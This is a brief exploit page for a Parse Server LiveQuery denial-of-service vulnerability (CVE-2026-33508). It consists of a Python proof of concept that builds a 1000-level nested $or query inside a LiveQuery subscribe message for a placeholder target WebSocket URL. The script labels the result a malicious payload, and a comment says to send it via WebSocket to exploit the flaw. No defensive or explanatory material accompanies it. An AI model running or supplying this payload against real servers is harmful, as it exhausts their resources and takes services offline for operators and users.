CVE-2026-33508 Parse Server LiveQuery拒绝服务漏洞

import json def generate_nested_query(depth): """Generate a deeply nested query to trigger the vulnerability.""" if depth == 0: return {"key": "value"} # Using $or operator to create nesting return {"$or": [generate_nested_query(depth - 1), {"key": "value"}]} # Configuration target_ws_url = "ws://target-parse-server:1337/parse/" subscription_payload = { "op": "subscribe", "requestId": 1, "query": { "className": "TestObject", "where": generate_nested_query(1000) # Depth 1000 to cause DoS } } print("Malicious Payload Generated:") print(json.dumps(subscription_payload, indent=2)) # Note: Send this payload via WebSocket to exploit the vulnerability.